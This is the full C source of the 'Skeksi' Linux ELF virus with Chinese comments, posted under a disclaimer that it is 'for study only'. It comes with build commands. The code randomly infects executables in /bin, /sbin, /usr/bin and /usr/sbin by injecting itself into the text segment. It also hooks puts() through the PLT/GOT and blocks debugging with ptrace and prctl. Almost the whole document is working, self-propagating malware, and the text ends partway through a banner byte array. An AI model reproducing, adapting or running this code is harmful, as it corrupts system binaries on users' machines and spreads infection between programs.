免责声明:
源码仅供学习,非法使用与作者无关!!!
源码仅供学习,非法使用与作者无关!!!
源码仅供学习,非法使用与作者无关!!!

随机感染目录下所有 elf 文件:
char *dirs[4] = {"/sbin", "/usr/sbin", "/bin", "/usr/bin" };


virus.c

/** 编译:* gcc -g -O0 -DANTIDEBUG -DINFECT_PLTGOT  -fno-stack-protector -c virus.c -fpic -o virus.o* gcc -N -fno-stack-protector -nostdlib virus.o -o virus** 使用 -DDEBUG 允许Virus打印输出信息** 运行:* ./virus**/#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <elf.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <link.h>
#include <sys/stat.h>
#include <stdarg.h>
#include <time.h>
#include <signal.h>
#include <sys/user.h>
#include <sys/prctl.h>
#include <sys/time.h>#define VIRUS_LAUNCHER_NAME "virus"
//struct linux_dirent64 {
//    u64          d_ino;                    /* inode number 索引节点号 */
//    s64          d_off;                     /* offset to this dirent 在目录文件中的偏移 */
//    unsigned short     d_reclen;
//    unsigned char     d_type;        /* the type of d_name 文件类型 */
//    char          d_name[0];             /* file name (null-terminated) 文件名,最长255字符 */
//};
struct linux_dirent64 {uint64_t        d_ino;int64_t         d_off;unsigned short  d_reclen;unsigned char   d_type;char            d_name[0];
} __attribute__((packed));//动态加载函数
void Memset(void *mem, unsigned char byte, unsigned int len);
void _memcpy(void *, void *, unsigned int);
int _printf(char *, ...);
char * itoa(long, char *);
char * itox(long, char *);
int _puts(char *);
int _puts_nl(char *);
size_t _strlen(char *);
char *_strchr(const char *, int);
char * _strrchr(const char *, int);
int _strncmp(const char *, const char *, size_t);
int _strcmp(const char *, const char *);
int _memcmp(const void *, const void *, unsigned int);
char _toupper(char c);//系统调用
long _ptrace(long request, long pid, void *addr, void *data);
int _prctl(long option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
int _fstat(long, void *);
int _mprotect(void * addr, unsigned long len, int prot);
long _lseek(long, long, unsigned int);
void Exit(long);
void *_mmap(void *, unsigned long, unsigned long, unsigned long,  long, unsigned long);
int _munmap(void *, size_t);
long _open(const char *, unsigned long, long);
long _write(long, char *, unsigned long);
int _read(long, char *, unsigned long);
int _getdents64(unsigned int fd, struct linux_dirent64 *dirp,unsigned int count);
int _rename(const char *, const char *);
int _close(unsigned int);
int _gettimeofday(struct timeval *, struct timezone *);//实现的函数
unsigned long get_rip(void);
void end_code(void);
void dummy_marker(void);
static inline uint32_t get_random_number(int) __attribute__((__always_inline__));
void display_skeksi(void);#define PIC_RESOLVE_ADDR(target) (get_rip() - ((char *)&get_rip_label - (char *)target))#if defined(DEBUG) && DEBUG > 0#define DEBUG_PRINT(fmt, args...) _printf("DEBUG: %s:%d:%s(): " fmt, \__FILE__, __LINE__, __func__, ##args)
#else
//在发布版本中不做任何事情#define DEBUG_PRINT(fmt, args...)
#endif#define PAGE_ALIGN(x) (x & ~(PAGE_SIZE - 1))
#define PAGE_ALIGN_UP(x) (PAGE_ALIGN(x) + PAGE_SIZE)
#define PAGE_ROUND(x) (PAGE_ALIGN_UP(x))
#define STACK_SIZE 0x4000000#define TMP ".xyz.skeksi.elf64"
// 用于拷贝已经够用了
#define RODATA_PADDING 17000#define LUCKY_NUMBER 7
#define MAGIC_NUMBER 0x15D25#define __ASM__ asm __volatile__extern long real_start;
extern long get_rip_label;
//参数
struct bootstrap_data {int argc;char **argv;
};
//elf文件相关
typedef struct elfbin {//elf文件头Elf64_Ehdr *ehdr;//程序头Elf64_Phdr *phdr;//节表头Elf64_Shdr *shdr;//动态库Elf64_Dyn *dyn;//代码段Elf64_Addr textVaddr;//数据段Elf64_Addr dataVaddr;//代码大小size_t textSize;//数据大小size_t dataSize;//数据段偏移Elf64_Off dataOff;//代码段偏移Elf64_Off textOff;//映射基址uint8_t *mem;size_t size;char *path;struct stat st;int fd;int original_virus_exe;
} elfbin_t;#define DIR_COUNT 4_start()
{
#if 0struct bootstrap_data bootstrap;
#endif
//保存所有寄存器__ASM__ (".globl real_start \n""real_start:       \n""push %rsp \n""push %rbp \n""push %rax \n""push %rbx \n""push %rcx \n""push %rdx \n""push %r8  \n""push %r9  \n""push %r10 \n""push %r11 \n""push %r12 \n""push %r13 \n""push %r14 \n""push %r15   ");#if 0__ASM__ ("mov 0x08(%%rbp), %%rcx " : "=c" (bootstrap.argc));__ASM__ ("lea 0x10(%%rbp), %%rcx " : "=c" (bootstrap.argv));
#endif
//call main__ASM__ (
#if 0"leaq %0, %%rdi\n"
#endif"call do_main   " //:: "g"(bootstrap));
//pop所有寄存器__ASM__ ("pop %r15  \n""pop %r14  \n""pop %r13  \n""pop %r12  \n""pop %r11  \n""pop %r10  \n""pop %r9   \n""pop %r8   \n""pop %rdx  \n""pop %rcx  \n""pop %rbx  \n""pop %rax  \n""pop %rbp  \n""pop %rsp  \n" "add $0x8, %rsp\n""jmp end_code  " );
}/** l33t sp34k version of puts. We infect PLTGOT entry for puts() of infected binaries.*/int evil_puts(const char *string)
{char *s = (char *)string;char new[1024];int index = 0;int rnum = get_random_number(5);if (rnum != 3)goto normal;Memset(new, 0, 1024);while (*s != '\0' && index < 1024) {switch(_toupper(*s)) {case 'I':new[index++] = '1';break;case 'E':new[index++] = '3';break;case 'S':new[index++] = '5';break;case 'T':new[index++] = '7';break;case 'O':new[index++] = '0';break;  case 'A':new[index++] = '4';break;default:new[index++] = *s;break;}s++;}return _puts_nl(new);
normal:return _puts_nl((char *)string);
}//堆区域
#define CHUNK_SIZE 256
void * vx_malloc(size_t len, uint8_t **mem)
{if (*mem == NULL) {*mem = _mmap(NULL, 0x200000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);if (*mem == MAP_FAILED) {DEBUG_PRINT("malloc failed with mmap\n");Exit(-1);}}*mem += CHUNK_SIZE;return (void *)((char *)*mem - len);
}static inline void vx_free(uint8_t *mem)
{uintptr_t addr = (uintptr_t)mem;if ((addr & 0x000000000fff) == 0) {_munmap(mem, 0x200000);return;}addr -= CHUNK_SIZE;mem = (uint8_t *)addr;
}static inline int _rand(long *seed) // RAND_MAX assumed to be 32767
{*seed = *seed * 1103515245 + 12345;return (unsigned int)(*seed / 65536) & 32767;
}
//我们依赖ASLR来获得我们的PSUEDO随机性,因为RSP在每次执行时都是不同的
static inline uint32_t get_random_number(int max)
{struct timeval tv;_gettimeofday(&tv, NULL);return _rand(&tv.tv_usec) % max;
}static inline char * randomly_select_dir(char **dirs)
{   return (char *)dirs[get_random_number(DIR_COUNT)];
}char * full_path(char *exe, char *dir, uint8_t **heap)
{char *ptr = (char *)vx_malloc(_strlen(exe) + _strlen(dir) + 2, heap);Memset(ptr, 0, _strlen(exe) + _strlen(dir));_memcpy(ptr, dir, _strlen(dir));ptr[_strlen(dir)] = '/';if (*exe == '.' && *(exe + 1) == '/')exe += 2;_memcpy(&ptr[_strlen(dir) + 1], exe, _strlen(exe));return ptr;
}#define JMPCODE_LEN 6
//注入病毒体
int inject_parasite(size_t psize, size_t paddingSize, elfbin_t *target, elfbin_t *self, ElfW(Addr) orig_entry_point)
{int ofd;unsigned int c;int i, t = 0, ehdr_size = sizeof(ElfW(Ehdr));unsigned char *mem = target->mem;unsigned char *parasite = self->mem;char *host = target->path, *protected; struct stat st;_memcpy((struct stat *)&st, (struct stat *)&target->st, sizeof(struct stat));/* eot is: * end_of_text = e_hdr->e_phoff + nc * e_hdr->e_phentsize;* end_of_text += p_hdr->p_filesz;*/ extern int return_entry_start;if ((ofd = _open(TMP, O_CREAT|O_WRONLY|O_TRUNC, st.st_mode)) == -1) return -1;/** Write first 64 bytes of original binary (The elf file header) * [ehdr] */if ((c = _write(ofd, mem, ehdr_size)) != ehdr_size) return -1;/** 开始注入* [ehdr][virus]*/void (*f1)(void) = (void (*)())PIC_RESOLVE_ADDR(&end_code);void (*f2)(void) = (void (*)())PIC_RESOLVE_ADDR(&dummy_marker);int end_code_size = (int)((char *)f2 - (char *)f1);Elf64_Addr end_code_addr = PIC_RESOLVE_ADDR(&end_code);uint8_t jmp_patch[6] = {0x68, 0x0, 0x0, 0x0, 0x0, 0xc3};*(uint32_t *)&jmp_patch[1] = orig_entry_point;/** 写入寄生代码直到 end_code()*/size_t initial_parasite_len = self->size - RODATA_PADDING;initial_parasite_len -= end_code_size;if ((c = _write(ofd, parasite, initial_parasite_len)) != initial_parasite_len) {return -1;}_write(ofd, jmp_patch, sizeof(jmp_patch));_write(ofd, ¶site[initial_parasite_len + sizeof(jmp_patch)], RODATA_PADDING + (end_code_size - sizeof(jmp_patch)));/** Seek to end of tracer.o + PAGE boundary  * [ehdr][virus][pad]*/uint32_t offset = sizeof(ElfW(Ehdr)) + paddingSize;if ((c = _lseek(ofd, offset, SEEK_SET)) != offset) return -1;/** Write the rest of the original binary* [ehdr][virus][pad][phdrs][text][data][shdrs]*/mem += sizeof(Elf64_Ehdr);unsigned int final_length = st.st_size - (sizeof(ElfW(Ehdr))); // + target->ehdr->e_shnum * sizeof(Elf64_Shdr));if ((c = _write(ofd, mem, final_length)) != final_length) return -1;_close(ofd);return 0;
}
//注入 elf文件
Elf64_Addr infect_elf_file(elfbin_t *self, elfbin_t *target)
{//文件头Elf64_Ehdr *ehdr;//程序头Elf64_Phdr *phdr;//节表头Elf64_Shdr *shdr;//映射基址uint8_t *mem;int fd;//代码段int text_found = 0, i;//入口Elf64_Addr orig_entry_point;//代码段节的基址Elf64_Addr origText;Elf64_Addr new_base;size_t parasiteSize;size_t paddingSize;struct stat st;char *host = target->path;long o_entry_offset;/** Get size of parasite (self)*/parasiteSize = self->size;paddingSize = PAGE_ALIGN_UP(parasiteSize);//映射基址mem = target->mem;*(uint32_t *)&mem[EI_PAD] = MAGIC_NUMBER;//相关头信息ehdr = (Elf64_Ehdr *)target->ehdr;phdr = (Elf64_Phdr *)target->phdr;shdr = (Elf64_Shdr *)target->shdr;//原来入口orig_entry_point = ehdr->e_entry;phdr[0].p_offset += paddingSize;phdr[1].p_offset += paddingSize;//text 逆向感染for (i = 0; i < ehdr->e_phnum; i++) {if (text_found)phdr[i].p_offset += paddingSize;if (phdr[i].p_type == PT_LOAD && phdr[i].p_flags == (PF_R|PF_X)) {origText = phdr[i].p_vaddr;phdr[i].p_vaddr -= paddingSize;phdr[i].p_paddr -= paddingSize;phdr[i].p_filesz += paddingSize;phdr[i].p_memsz += paddingSize;//过PaX保护phdr[i].p_align = 0x1000;new_base = phdr[i].p_vaddr;text_found = 1;} else {if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset && (phdr[i].p_flags & PF_W))//过PaX保护phdr[i].p_align = 0x1000;}}if (!text_found) {DEBUG_PRINT("Error, 无法定位目标可执行文件中的文本段: %s\n", target->path);return -1;}ehdr->e_entry = origText - paddingSize + sizeof(ElfW(Ehdr));shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];char *StringTable = &mem[shdr[ehdr->e_shstrndx].sh_offset];for (i = 0; i < ehdr->e_shnum; i++) {//让它病毒在.text段的if (!_strncmp((char *)&StringTable[shdr[i].sh_name], ".text", 5)) {shdr[i].sh_offset = sizeof(ElfW(Ehdr)); // -= (uint32_t)paddingSize;shdr[i].sh_addr = origText - paddingSize;shdr[i].sh_addr += sizeof(ElfW(Ehdr));shdr[i].sh_size += self->size;}elseshdr[i].sh_offset += paddingSize;}ehdr->e_shoff += paddingSize;ehdr->e_phoff += paddingSize;//开始注入病毒体inject_parasite(parasiteSize, paddingSize, target, self, orig_entry_point);//返回新的基址return new_base;
}//由于病毒存在文本和数据段,在每个病毒中插入初始ELF文件头和phdr
//这可以很好地通过解析我们自己的程序头等来实现自加载
int load_self(elfbin_t *elf)
{   int i;void (*f1)(void) = (void (*)())PIC_RESOLVE_ADDR(&end_code);void (*f2)(void) = (void (*)())PIC_RESOLVE_ADDR(&dummy_marker);Elf64_Addr _start_addr = PIC_RESOLVE_ADDR(&_start);elf->mem = (uint8_t *)_start_addr;elf->size = (char *)&end_code - (char *)&_start; elf->size += (int)((char *)f2 - (char *)f1);//elf->size += 1024; // So we have .rodata included in parasite insertionelf->size += RODATA_PADDING; //SKEKSI_BYTECODE_SIZE;return 0;
}
//移除映射
void unload_target(elfbin_t *elf)
{_munmap(elf->mem, elf->size);_close(elf->fd);
}
//加载 elf 文件映射
int load_target(const char *path, elfbin_t *elf)
{int i;struct stat st;//路径elf->path = (char *)path;//打开文件int fd = _open(path, O_RDONLY, 0);if (fd < 0)return -1;elf->fd = fd;//读文件信息if (_fstat(fd, &st) < 0)return -1;//创建映射elf->mem = _mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);if (elf->mem == MAP_FAILED)return -1;//文件头elf->ehdr = (Elf64_Ehdr *)elf->mem;//程序头elf->phdr = (Elf64_Phdr *)&elf->mem[elf->ehdr->e_phoff];//节表头elf->shdr = (Elf64_Shdr *)&elf->mem[elf->ehdr->e_shoff];//遍历 all 程序头for (i = 0; i < elf->ehdr->e_phnum; i++) {//判断类型switch(elf->phdr[i].p_type) {//可装载段case PT_LOAD:switch(!!elf->phdr[i].p_offset) {case 0:elf->textVaddr = elf->phdr[i].p_vaddr;elf->textSize = elf->phdr[i].p_memsz;break;case 1:elf->dataVaddr = elf->phdr[i].p_vaddr;elf->dataSize = elf->phdr[i].p_memsz;elf->dataOff = elf->phdr[i].p_offset;break;}break;//动态段case PT_DYNAMIC:elf->dyn = (Elf64_Dyn *)&elf->mem[elf->phdr[i].p_offset];break;}}elf->st = st;elf->size = st.st_size;return 0;
}int load_target_writeable(const char *path, elfbin_t *elf)
{int i;struct stat st;elf->path = (char *)path;int fd = _open(path, O_RDWR, 0);if (fd < 0)return -1;elf->fd = fd;if (_fstat(fd, &st) < 0)return -1;elf->mem = _mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (elf->mem == MAP_FAILED)return -1;elf->ehdr = (Elf64_Ehdr *)elf->mem;elf->phdr = (Elf64_Phdr *)&elf->mem[elf->ehdr->e_phoff];elf->shdr = (Elf64_Shdr *)&elf->mem[elf->ehdr->e_shoff];for (i = 0; i < elf->ehdr->e_phnum; i++) {switch(elf->phdr[i].p_type) {case PT_LOAD:switch(!!elf->phdr[i].p_offset) {case 0:elf->textVaddr = elf->phdr[i].p_vaddr;elf->textSize = elf->phdr[i].p_memsz;break;case 1:elf->dataVaddr = elf->phdr[i].p_vaddr;elf->dataSize = elf->phdr[i].p_memsz;elf->dataOff = elf->phdr[i].p_offset;break;}break;case PT_DYNAMIC:elf->dyn = (Elf64_Dyn *)&elf->mem[elf->phdr[i].p_offset];break;}}elf->st = st;elf->size = st.st_size;return 0;
}
//hook puts()
//直接解析phdr的动态段,仍然可以感染被去掉节表的 elf 文件
int infect_pltgot(elfbin_t *target, Elf64_Addr new_fn_addr)
{int i, j = 0, symindex = -1;    Elf64_Sym *symtab;Elf64_Rela *jmprel;Elf64_Dyn *dyn = target->dyn;Elf64_Addr *gotentry, *pltgot;char *strtab;size_t strtab_size;size_t jmprel_size;Elf64_Addr gotaddr = 0; // INITIALIZE!Elf64_Off gotoff = 0;for (i = 0; dyn[i].d_tag != DT_NULL; i++) {switch(dyn[i].d_tag) {case DT_SYMTAB: // relative to the text segment basesymtab = (Elf64_Sym *)&target->mem[dyn[i].d_un.d_ptr - target->textVaddr];          break;case DT_PLTGOT: // relative to the data segment basepltgot = (long *)&target->mem[target->dataOff + (dyn[i].d_un.d_ptr - target->dataVaddr)];break;case DT_STRTAB: // relative to the text segment basestrtab = (char *)&target->mem[dyn[i].d_un.d_ptr - target->textVaddr];break;case DT_STRSZ:strtab_size = (size_t)dyn[i].d_un.d_val;break;case DT_JMPREL:jmprel = (Elf64_Rela *)&target->mem[dyn[i].d_un.d_ptr - target->textVaddr];break;case DT_PLTRELSZ:jmprel_size = (size_t)dyn[i].d_un.d_val;break;}}if (symtab == NULL || pltgot == NULL) {DEBUG_PRINT("Unable to locate symtab or pltgot\n");return -1;}for (i = 0; symtab[i].st_name <= strtab_size; i++) {if (!_strcmp(&strtab[symtab[i].st_name], "puts")) {DEBUG_PRINT("puts symbol index: %d\n", i);symindex = i;break;}   }if (symindex == -1) {DEBUG_PRINT("cannot find puts()\n");return -1;}for (i = 0; i < jmprel_size / sizeof(Elf64_Rela); i++) {if (!_strcmp(&strtab[symtab[ELF64_R_SYM(jmprel[i].r_info)].st_name], "puts")) {gotaddr = jmprel[i].r_offset;gotoff = target->dataOff + (jmprel[i].r_offset - target->dataVaddr);DEBUG_PRINT("gotaddr: %x gotoff: %x\n", gotaddr, gotoff);break;}}if (gotaddr == 0) {DEBUG_PRINT("Couldn't find relocation entry for puts\n");return -1;}gotentry = (Elf64_Addr *)&target->mem[gotoff];*gotentry = new_fn_addr;DEBUG_PRINT("patched GOT entry %x with address %x\n", gotaddr, new_fn_addr);return 0;}
/** Must be ELF* Must be ET_EXEC* Must be dynamically linked* Must not yet be infected*/
//检查
int check_criteria(char *filename)
{int fd, dynamic, i, ret = 0;struct stat st;Elf64_Ehdr *ehdr;Elf64_Phdr *phdr;uint8_t mem[4096];uint32_t magic;fd = _open(filename, O_RDONLY, 0);if (fd < 0) return -1;if (_read(fd, mem, 4096) < 0)return -1;_close(fd);ehdr = (Elf64_Ehdr *)mem;phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];if(_memcmp("\x7f\x45\x4c\x46", mem, 4) != 0) return -1;magic = *(uint32_t *)((char *)&ehdr->e_ident[EI_PAD]);//是否已经被注入if (magic == MAGIC_NUMBER)return -1;//是否为可执行程序if (ehdr->e_type != ET_EXEC) return -1;if (ehdr->e_machine != EM_X86_64) return -1;for (dynamic = 0, i = 0; i < ehdr->e_phnum; i++) if (phdr[i].p_type == PT_DYNAMIC)   dynamic++;//是否为动态链接if (!dynamic) return -1;return 0;}//入口 main(argc argv**)
void do_main(struct bootstrap_data *bootstrap)
{//文件头Elf64_Ehdr *ehdr;//程序头Elf64_Phdr *phdr;//节表头Elf64_Shdr *shdr;//映射基址     堆基址uint8_t *mem, *heap = NULL;long new_base, base_addr, evilputs_addr, evilputs_offset;struct linux_dirent64 *d;int bpos, fcount, dd, nread;char *dir = NULL, **files, *fpath, dbuf[32768];struct stat st;mode_t mode;uint32_t rnum;//相关信息elfbin_t self, target;int scan_count = DIR_COUNT;int icount = 0;int paddingSize;//不能使用字符串 不然他保存在.rodata 或 .data 段中char *dirs[4] = {"/sbin", "/usr/sbin", "/bin", "/usr/bin" };char cwd[2] = {'.', '\0'};#if ANTIDEBUGif (_ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {_printf("!! Skeksi Virus, 2015 !!\n");Exit(-1);}_prctl(PR_SET_DUMPABLE, 0, 0, 0, 0);
#endifrescan://随机性的在四个中选择dir = _getuid() != 0 ? cwd : randomly_select_dir((char **)dirs);if (!_strcmp(dir, "."))scan_count = 1;DEBUG_PRINT("Infecting files in directory: %s\n", dir);//打开文件dd = _open(dir, O_RDONLY | O_DIRECTORY, 0);if (dd < 0) {DEBUG_PRINT("open failed\n");return;}//加载它同时获取相关信息load_self(&self);//循环感染for (;;) {//int getdents(unsigned int fd, struct linux_dirent *dirp,//             unsigned int count);////fd指目录文件描述符。可以用sys_open创建。////dirp指目录信息,其大小由第3个参数指定,dirp在使用时注意先分配内存。////count 目录信息的大小。如果count指定的比较小,可以通过循环,反复获取接下来的dirp.//读取目录项 返回数量nread = _getdents64(dd, (struct linux_dirent64 *)dbuf, 32768);if (nread < 0) {DEBUG_PRINT("getdents64 failed\n");return;}if (nread == 0)break;for (fcount = 0, bpos = 0; bpos < nread; bpos++) {d = (struct linux_dirent64 *) (dbuf + bpos);bpos += d->d_reclen - 1;if (!_strcmp(d->d_name, VIRUS_LAUNCHER_NAME)) continue;if (d->d_name[0] == '.')continue;//检查相关属性if (check_criteria(fpath = full_path(d->d_name, dir, &heap)) < 0)continue; if (icount == 0)goto infect;//从10中随机取个值rnum = get_random_number(10);if (rnum != LUCKY_NUMBER)continue;
infect:     //开始映射保存相关信息load_target(fpath, &target);//注入病毒new_base = infect_elf_file(&self, &target);//移除映射unload_target(&target);
//方式二   PLTGOT hook
#ifdef INFECT_PLTGOTload_target_writeable(TMP, &target);base_addr = PIC_RESOLVE_ADDR(&_start);evilputs_addr = PIC_RESOLVE_ADDR(&evil_puts);evilputs_offset = evilputs_addr - base_addr;infect_pltgot(&target, new_base + evilputs_offset + sizeof(Elf64_Ehdr));unload_target(&target);
#endif//重命名_rename(TMP, fpath);icount++;}}if (--scan_count > 0) {_close(dd);goto rescan;}//随机取rnum = get_random_number(50);if (rnum == LUCKY_NUMBER)//显示病毒display_skeksi();}int _getuid(void)
{unsigned long ret;__asm__ volatile("mov $102, %rax\n""syscall");asm ("mov %%rax, %0" : "=r"(ret));return (int)ret;
}void Exit(long status)
{__asm__ volatile("mov %0, %%rdi\n""mov $60, %%rax\n""syscall" : : "r"(status));
}long _open(const char *path, unsigned long flags, long mode)
{long ret;__asm__ volatile("mov %0, %%rdi\n""mov %1, %%rsi\n""mov %2, %%rdx\n""mov $2, %%rax\n""syscall" : : "g"(path), "g"(flags), "g"(mode));asm ("mov %%rax, %0" : "=r"(ret));              return ret;
}int _close(unsigned int fd)
{long ret;__asm__ volatile("mov %0, %%rdi\n""mov $3, %%rax\n""syscall" : : "g"(fd));return (int)ret;
}int _read(long fd, char *buf, unsigned long len)
{long ret;__asm__ volatile("mov %0, %%rdi\n""mov %1, %%rsi\n""mov %2, %%rdx\n""mov $0, %%rax\n""syscall" : : "g"(fd), "g"(buf), "g"(len));asm("mov %%rax, %0" : "=r"(ret));return (int)ret;
}long _write(long fd, char *buf, unsigned long len)
{long ret;__asm__ volatile("mov %0, %%rdi\n""mov %1, %%rsi\n""mov %2, %%rdx\n""mov $1, %%rax\n""syscall" : : "g"(fd), "g"(buf), "g"(len));asm("mov %%rax, %0" : "=r"(ret));return ret;
}int _fstat(long fd, void *buf)
{long ret;__asm__ volatile("mov %0, %%rdi\n""mov %1, %%rsi\n""mov $5, %%rax\n""syscall" : : "g"(fd), "g"(buf));asm("mov %%rax, %0" : "=r"(ret));return (int)ret;
}int _unlink(const char *path)
{long ret;__asm__ volatile("mov %0, %%rdi\n""mov $87, %%rax\n"      "syscall" ::"g"(path));asm("mov %%rax, %0" : "=r"(ret));return (int)ret;
}int _rename(const char *old, const char *new)
{long ret;__asm__ volatile("mov %0, %%rdi\n""mov %1, %%rsi\n""mov $82, %%rax\n""syscall" ::"g"(old),"g"(new));asm("mov %%rax, %0" : "=r"(ret));return (int)ret;
}long _lseek(long fd, long offset, unsigned int whence)
{long ret;__asm__ volatile("mov %0, %%rdi\n""mov %1, %%rsi\n""mov %2, %%rdx\n""mov $8, %%rax\n""syscall" : : "g"(fd), "g"(offset), "g"(whence));asm("mov %%rax, %0" : "=r"(ret));return ret;}int _fsync(int fd)
{long ret;__asm__ volatile("mov %0, %%rdi\n""mov $74, %%rax\n""syscall" : : "g"(fd));asm ("mov %%rax, %0" : "=r"(ret));return (int)ret;
}void *_mmap(void *addr, unsigned long len, unsigned long prot, unsigned long flags, long fd, unsigned long off)
{long mmap_fd = fd;unsigned long mmap_off = off;unsigned long mmap_flags = flags;unsigned long ret;__asm__ volatile("mov %0, %%rdi\n""mov %1, %%rsi\n""mov %2, %%rdx\n""mov %3, %%r10\n""mov %4, %%r8\n""mov %5, %%r9\n""mov $9, %%rax\n""syscall\n" : : "g"(addr), "g"(len), "g"(prot), "g"(flags), "g"(mmap_fd), "g"(mmap_off));asm ("mov %%rax, %0" : "=r"(ret));              return (void *)ret;
}int _munmap(void *addr, size_t len)
{long ret;__asm__ volatile("mov %0, %%rdi\n""mov %1, %%rsi\n""mov $11, %%rax\n""syscall" :: "g"(addr), "g"(len));asm ("mov %%rax, %0" : "=r"(ret));return (int)ret;
}int _mprotect(void * addr, unsigned long len, int prot)
{unsigned long ret;__asm__ volatile("mov %0, %%rdi\n""mov %1, %%rsi\n""mov %2, %%rdx\n""mov $10, %%rax\n""syscall" : : "g"(addr), "g"(len), "g"(prot));asm("mov %%rax, %0" : "=r"(ret));return (int)ret;
}long _ptrace(long request, long pid, void *addr, void *data)
{long ret;__asm__ volatile("mov %0, %%rdi\n""mov %1, %%rsi\n""mov %2, %%rdx\n""mov %3, %%r10\n""mov $101, %%rax\n""syscall" : : "g"(request), "g"(pid), "g"(addr), "g"(data));asm("mov %%rax, %0" : "=r"(ret));return ret;
}int _prctl(long option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5)
{long ret;__asm__ volatile("mov %0, %%rdi\n""mov %1, %%rsi\n""mov %2, %%rdx\n""mov %3, %%r10\n""mov $157, %%rax\n""syscall\n" :: "g"(option), "g"(arg2), "g"(arg3), "g"(arg4), "g"(arg5));asm("mov %%rax, %0" : "=r"(ret));return (int)ret;
}
//读取目录项
int _getdents64(unsigned int fd, struct linux_dirent64 *dirp,unsigned int count)
{long ret;__asm__ volatile("mov %0, %%rdi\n""mov %1, %%rsi\n""mov %2, %%rdx\n""mov $217, %%rax\n""syscall" :: "g"(fd), "g"(dirp), "g"(count));asm ("mov %%rax, %0" : "=r"(ret));return (int)ret;
}int _gettimeofday(struct timeval *tv, struct timezone *tz)
{long ret;__asm__ volatile("mov %0, %%rdi\n""mov %1, %%rsi\n""mov $96, %%rax\n""syscall" :: "g"(tv), "g"(tz));asm ("mov %%rax, %0" : "=r"(ret));return (int)ret;}void _memcpy(void *dst, void *src, unsigned int len)
{int i;unsigned char *s = (unsigned char *)src;unsigned char *d = (unsigned char *)dst;for (i = 0; i < len; i++) {*d = *s;s++, d++;}}void Memset(void *mem, unsigned char byte, unsigned int len)
{unsigned char *p = (unsigned char *)mem; int i = len;while (i--) {*p = byte;p++;}
}int _printf(char *fmt, ...)
{int in_p;unsigned long dword;unsigned int word;char numbuf[26] = {0};__builtin_va_list alist;in_p;__builtin_va_start((alist), (fmt));in_p = 0;while(*fmt) {if (*fmt!='%' && !in_p) {_write(1, fmt, 1);in_p = 0;}else if (*fmt!='%') {switch(*fmt) {case 's':dword = (unsigned long) __builtin_va_arg(alist, long);_puts((char *)dword);break;case 'u':word = (unsigned int) __builtin_va_arg(alist, int);_puts(itoa(word, numbuf));break;case 'd':word = (unsigned int) __builtin_va_arg(alist, int);_puts(itoa(word, numbuf));break;case 'x':dword = (unsigned long) __builtin_va_arg(alist, long);_puts(itox(dword, numbuf));break;default:_write(1, fmt, 1);break;}in_p = 0;}else {in_p = 1;}fmt++;}return 1;
}
char * itoa(long x, char *t)
{int i;int j;i = 0;do{t[i] = (x % 10) + '0';x /= 10;i++;} while (x!=0);t[i] = 0;for (j=0; j < i / 2; j++) {t[j] ^= t[i - j - 1];t[i - j - 1] ^= t[j];t[j] ^= t[i - j - 1];}return t;
}
char * itox(long x, char *t)
{int i;int j;i = 0;do{t[i] = (x % 16);/* char conversion */if (t[i] > 9)t[i] = (t[i] - 10) + 'a';elset[i] += '0';x /= 16;i++;} while (x != 0);t[i] = 0;for (j=0; j < i / 2; j++) {t[j] ^= t[i - j - 1];t[i - j - 1] ^= t[j];t[j] ^= t[i - j - 1];}return t;
}int _puts(char *str)
{_write(1, str, _strlen(str));_fsync(1);return 1;
}int _puts_nl(char *str)
{   _write(1, str, _strlen(str));_write(1, "\n", 1);_fsync(1);return 1;
}size_t _strlen(char *s)
{size_t sz;for (sz=0;s[sz];sz++);return sz;
}char _toupper(char c)
{if( c >='a' && c <= 'z')return (c = c +'A' - 'a');return c;}int _strncmp(const char *s1, const char *s2, size_t n)
{for ( ; n > 0; s1++, s2++, --n)if (*s1 != *s2)return ((*(unsigned char *)s1 < *(unsigned char *)s2) ? -1 : +1);else if (*s1 == '\0')return 0;return 0;
}int _strcmp(const char *s1, const char *s2)
{for ( ; *s1 == *s2; s1++, s2++)if (*s1 == '\0')return 0;return ((*(unsigned char *)s1 < *(unsigned char *)s2) ? -1 : +1);
}int _memcmp(const void *s1, const void *s2, unsigned int n)
{unsigned char u1, u2;for ( ; n-- ; s1++, s2++) {u1 = * (unsigned char *) s1;u2 = * (unsigned char *) s2;if ( u1 != u2) {return (u1-u2);}}
}//获取当前 rip
unsigned long get_rip(void)
{long ret;__asm__ __volatile__ ("call get_rip_label \n"".globl get_rip_label   \n""get_rip_label:     \n""pop %%rax      \n""mov %%rax, %0" : "=r"(ret));return ret;
}//结束  同时转到原来的入口
void end_code()
{Exit(0);}void dummy_marker()
{__ASM__("nop");
}//病毒体
const unsigned char skeksi_banner[] =
"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30"
